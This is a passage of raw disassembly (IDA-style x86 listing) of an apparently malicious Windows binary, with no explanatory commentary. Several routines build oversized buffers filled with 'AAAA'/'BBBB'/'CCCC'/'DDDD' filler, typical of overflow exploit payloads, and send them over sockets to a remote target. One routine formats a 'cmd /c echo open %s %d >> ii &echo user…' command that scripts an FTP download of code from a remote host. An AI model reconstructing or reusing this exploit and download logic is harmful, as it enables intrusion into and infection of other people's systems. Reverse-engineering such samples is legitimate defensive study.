		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4246C5
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4246C5:				; CODE XREF: sub_424680+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_424680	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247F0	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_4247F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424820	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424834
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424834:				; CODE XREF: sub_424820+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444B64
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424820	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424890	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_4248AC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248AC:				; CODE XREF: sub_424890+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424890	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248D0	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CA5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CA5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444800
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444808
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444B88
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44480C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444B7C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444B78
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E50
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444B6C
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444B68
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_4248D0+1Ej
					; sub_4248D0+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_4248D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424DD0	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424E39
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E39:				; CODE XREF: sub_424DD0+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_437000
sub_424DD0	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424E50
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E50:				; CODE XREF: ___:00424E46j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424EB0	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424EE3
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424EE3:				; CODE XREF: sub_424EB0+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424EB0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F20	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424F53
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F53:				; CODE XREF: sub_424F20+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44489C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444814
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_4448CC
		mov	[ebx+31h], eax
		mov	ecx, dword_4448D0
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424FF8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FF8:				; CODE XREF: sub_424F20+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425033
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425033:				; CODE XREF: sub_424F20+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4250B0	proc near		; CODE XREF: sub_401811j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A40
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447511
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447511
		call	sub_4017E4
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44764F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_4448D8
		push	ecx
		call	sub_401BEA
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_425162
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_425162:				; CODE XREF: sub_4250B0+A4j
		mov	ebp, dword_50FC2C
		mov	[esp+42Ch+var_408], edi


loc_42516C:				; CODE XREF: sub_4250B0+161j
		test	edi, edi
		jnz	loc_425217
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4251FA
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4251EF
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_4251EF:				; CODE XREF: sub_4250B0+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425205


loc_4251FA:				; CODE XREF: sub_4250B0+D5j
		push	3E8h
		nop
		call	near ptr 28C1E38h


loc_425205:				; CODE XREF: sub_4250B0+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_42516C


loc_425217:				; CODE XREF: sub_4250B0+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_425247
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425247:				; CODE XREF: sub_4250B0+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_4250B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4252D0	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_4252D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425310	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425335
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425335:				; CODE XREF: sub_425310+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444C68
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444CCC, ecx
		lea	ecx, [eax+1]
		mov	dword_444CED, ecx
		lea	ecx, [eax+17h]
		mov	dword_444CE5, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444CFB, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444CDC
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444CE0
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444CE1
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444CE5
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444CE9
		mov	[ecx+8], esi
		mov	esi, dword_444CED
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444CF1
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425480	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_425480	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4254B0:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_4254D3
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4254D3:				; CODE XREF: ___:004254CBj
		cmp	eax, 0FFFFh
		jbe	short loc_4254E0
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4254E0:				; CODE XREF: ___:004254D8j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425550	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_425559
		inc	ecx


loc_425559:				; CODE XREF: sub_425550+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_425550	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425580	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_425598
		cmp	bl, 0Dh
		jz	short loc_425598
		cmp	bl, 5Ch
		jz	short loc_425598
		test	bl, bl
		jnz	short loc_425599


loc_425598:				; CODE XREF: sub_425580+8j
					; sub_425580+Dj ...
		inc	ebx


loc_425599:				; CODE XREF: sub_425580+16j
		cmp	ebx, 0FFh
		jbe	short loc_4255BC
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4255B6
		cmp	al, 0Dh
		jz	short loc_4255B6
		cmp	al, 5Ch
		jz	short loc_4255B6
		test	al, al
		jnz	short loc_4255BC


